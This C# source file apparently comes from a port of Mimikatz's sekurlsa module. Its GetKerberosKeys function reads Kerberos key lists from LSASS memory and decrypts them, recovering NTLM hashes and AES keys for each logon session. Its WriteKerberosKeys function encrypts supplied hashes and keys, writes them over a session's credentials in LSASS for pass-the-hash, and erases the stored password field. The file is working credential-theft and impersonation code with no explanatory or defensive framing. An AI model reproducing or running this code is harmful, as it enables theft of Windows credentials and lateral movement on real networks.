public static void WriteKerberosKeys(ref IntPtr hLsass, KerberosLogonItem krbrLogonSession, OSVersionHelper oshelper, byte[] iv, byte[] aeskey, byte[] deskey, ref SEKURLSA_PTH_DATA pthData)
{
Type kerberossessiontype = oshelper.KerberosLogonSessionType;
Type kerberoshshtype = oshelper.KerberosHashType;
byte[] krbrLogonSessionBites = krbrLogonSession.LogonSessionBytes;
byte[] encNtlmHashBytes = null;
byte[] encAes128Bytes = null;
byte[] encAes256Bytes = null;
IntPtr pKeyList = new IntPtr(BitConverter.ToInt64(krbrLogonSessionBites, oshelper.KerberosLogonSessionKeyListOffset));
if (pKeyList == IntPtr.Zero)
{
return;
}
LUID luid = Utility.ReadStruct <LUID>(Utility.GetBytes(krbrLogonSessionBites, oshelper.KerberosSessionLocallyUniqueIdentifierOffset, Marshal.SizeOf(typeof(LUID))));
if (pthData.LogonId.HighPart != luid.HighPart || pthData.LogonId.LowPart != luid.LowPart)
{
return;
}
byte[] keylistBytes = Utility.ReadFromLsass(ref hLsass, pKeyList, Marshal.SizeOf(typeof(KIWI_KERBEROS_KEYS_LIST_6)));
if (pthData.NtlmHash != null)
{
encNtlmHashBytes = Crypto.BCrypt.EncryptCredentials(pthData.NtlmHash, iv, aeskey, deskey);
}
if (pthData.Aes128Key != null)
{
encAes128Bytes = Crypto.BCrypt.EncryptCredentials(pthData.Aes128Key, iv, aeskey, deskey);
}
if (pthData.Aes256Key != null)
{
encAes256Bytes = Crypto.BCrypt.EncryptCredentials(pthData.Aes256Key, iv, aeskey, deskey);
}
int items = BitConverter.ToInt32(keylistBytes, Utility.FieldOffset <KIWI_KERBEROS_KEYS_LIST_6>("cbItem"));
int structsize = Marshal.SizeOf(kerberoshshtype);
int readsize = items * structsize;
byte[] hashpassBytes = Utility.ReadFromLsass(ref hLsass, IntPtr.Add(pKeyList, Marshal.SizeOf(typeof(KIWI_KERBEROS_KEYS_LIST_6))), readsize);
pthData.isReplaceOk = true;
for (int i = 0; (i < items) && pthData.isReplaceOk; i++)
{
byte[] bytesToWrite = null;
int currentindex = (i * structsize) + oshelper.KerberosHashGenericOffset;
byte[] entryBytes = Utility.GetBytes(hashpassBytes, currentindex, Marshal.SizeOf(typeof(KERB_HASHPASSWORD_GENERIC)));
KERB_HASHPASSWORD_GENERIC entry = Utility.ReadStruct <KERB_HASHPASSWORD_GENERIC>(entryBytes);
string keyentry = KerberosTicketEtype((int)entry.Type);
UNICODE_STRING checksum = new UNICODE_STRING
{
Length = (ushort)entry.Size,
MaximumLength = (ushort)entry.Size,
Buffer = entry.Checksump
};
if (encNtlmHashBytes != null && ((entry.Type != KERB_ETYPE_AES128_CTS_HMAC_SHA1_96) && (entry.Type != KERB_ETYPE_AES256_CTS_HMAC_SHA1_96)) && ((int)entry.Size == LM_NTLM_HASH_LENGTH))
{
bytesToWrite = encNtlmHashBytes;
}
else if (encAes128Bytes != null && (entry.Type == KERB_ETYPE_AES128_CTS_HMAC_SHA1_96) && ((int)entry.Size == AES_128_KEY_LENGTH))
{
bytesToWrite = encAes128Bytes;
}
else if (encAes256Bytes != null && (entry.Type == KERB_ETYPE_AES256_CTS_HMAC_SHA1_96) && ((int)entry.Size == AES_256_KEY_LENGTH))
{
bytesToWrite = encAes256Bytes;
}
if (bytesToWrite != null)
{
pthData.isReplaceOk = Utility.WriteToLsass(ref hLsass, checksum.Buffer, bytesToWrite);
}
}
if (pthData.isReplaceOk)
{
byte[] pasreplace = new byte[oshelper.KerberosPasswordEraseSize];
pthData.isReplaceOk = Utility.WriteToLsass(ref hLsass, IntPtr.Add(krbrLogonSession.LogonSessionAddress, oshelper.KerberosOffsetPasswordErase), pasreplace);
}
}
public static void GetKerberosKeys(ref IntPtr hLsass, byte[] krbrLogonSession, OSVersionHelper oshelper, byte[] iv, byte[] aeskey, byte[] deskey, List <Logon> logonlist)
{
Type kerberossessiontype = oshelper.KerberosLogonSessionType;
Type kerberoshshtype = oshelper.KerberosHashType;
IntPtr pKeyList = new IntPtr(BitConverter.ToInt64(krbrLogonSession, oshelper.KerberosLogonSessionKeyListOffset));
if (pKeyList == IntPtr.Zero)
{
return;
}
LUID luid = Utility.ReadStruct <LUID>(Utility.GetBytes(krbrLogonSession, oshelper.KerberosSessionLocallyUniqueIdentifierOffset, Marshal.SizeOf(typeof(LUID))));
byte[] keylistBytes = Utility.ReadFromLsass(ref hLsass, pKeyList, Marshal.SizeOf(typeof(KIWI_KERBEROS_KEYS_LIST_6)));
int items = BitConverter.ToInt32(keylistBytes, Utility.FieldOffset <KIWI_KERBEROS_KEYS_LIST_6>("cbItem"));
int structsize = Marshal.SizeOf(kerberoshshtype);
int readsize = items * structsize;
byte[] hashpassBytes = Utility.ReadFromLsass(ref hLsass, IntPtr.Add(pKeyList, Marshal.SizeOf(typeof(KIWI_KERBEROS_KEYS_LIST_6))), readsize);
for (int i = 0; i < items; i++)
{
int currentindex = (i * structsize) + oshelper.KerberosHashGenericOffset;
byte[] entryBytes = Utility.GetBytes(hashpassBytes, currentindex, Marshal.SizeOf(typeof(KERB_HASHPASSWORD_GENERIC)));
KERB_HASHPASSWORD_GENERIC entry = Utility.ReadStruct <KERB_HASHPASSWORD_GENERIC>(entryBytes);
string keyentry = KerberosTicketEtype((int)entry.Type);
KerberosKey kkey = new KerberosKey();
kkey.Type = keyentry;
UNICODE_STRING checksum = new UNICODE_STRING
{
Length = (ushort)entry.Size,
MaximumLength = (ushort)entry.Size,
Buffer = entry.Checksump
};
if ((int)entry.Size > 0)
{
if ((int)entry.Size > Utility.FieldOffset <LSAISO_DATA_BLOB>("data"))
{
if ((int)entry.Size <= (Utility.FieldOffset <LSAISO_DATA_BLOB>("data") + ("KerberosKey".Length - 1) + AES_256_KEY_LENGTH)) // usual ISO DATA BLOB for Kerberos AES 256 session key
{
byte[] isoblobBytes = Utility.ReadFromLsass(ref hLsass, checksum.Buffer, Marshal.SizeOf(typeof(LSAISO_DATA_BLOB)));
LSAISO_DATA_BLOB isoblob = Utility.ReadStruct <LSAISO_DATA_BLOB>(isoblobBytes);
kkey.Key = GenericLsaIsoOutput(isoblob);
}
else
{
byte[] encisoblobBytes = Utility.ReadFromLsass(ref hLsass, checksum.Buffer, Marshal.SizeOf(typeof(LSAISO_DATA_BLOB)));
ENC_LSAISO_DATA_BLOB encisoblob = Utility.ReadStruct <ENC_LSAISO_DATA_BLOB>(encisoblobBytes);
kkey.Key = GenericEncLsaIsoOutput(encisoblob, (int)entry.Size);
}
}
else
{
byte[] msvPasswordBytes = Utility.ReadFromLsass(ref hLsass, checksum.Buffer, checksum.MaximumLength);
byte[] msvDecryptedPasswordBytes = BCrypt.DecryptCredentials(msvPasswordBytes, iv, aeskey, deskey);
kkey.Key = Utility.PrintHashBytes(msvDecryptedPasswordBytes);
}
}
else
{
kkey.Key = "<no size, buffer is incorrect>";
}
Logon currentlogon = logonlist.FirstOrDefault(x => x.LogonId.HighPart == luid.HighPart && x.LogonId.LowPart == luid.LowPart);
if (currentlogon != null)
{
if (currentlogon.KerberosKeys == null)
{
currentlogon.KerberosKeys = new List <KerberosKey>();
}
currentlogon.KerberosKeys.Add(kkey);
}
}
}
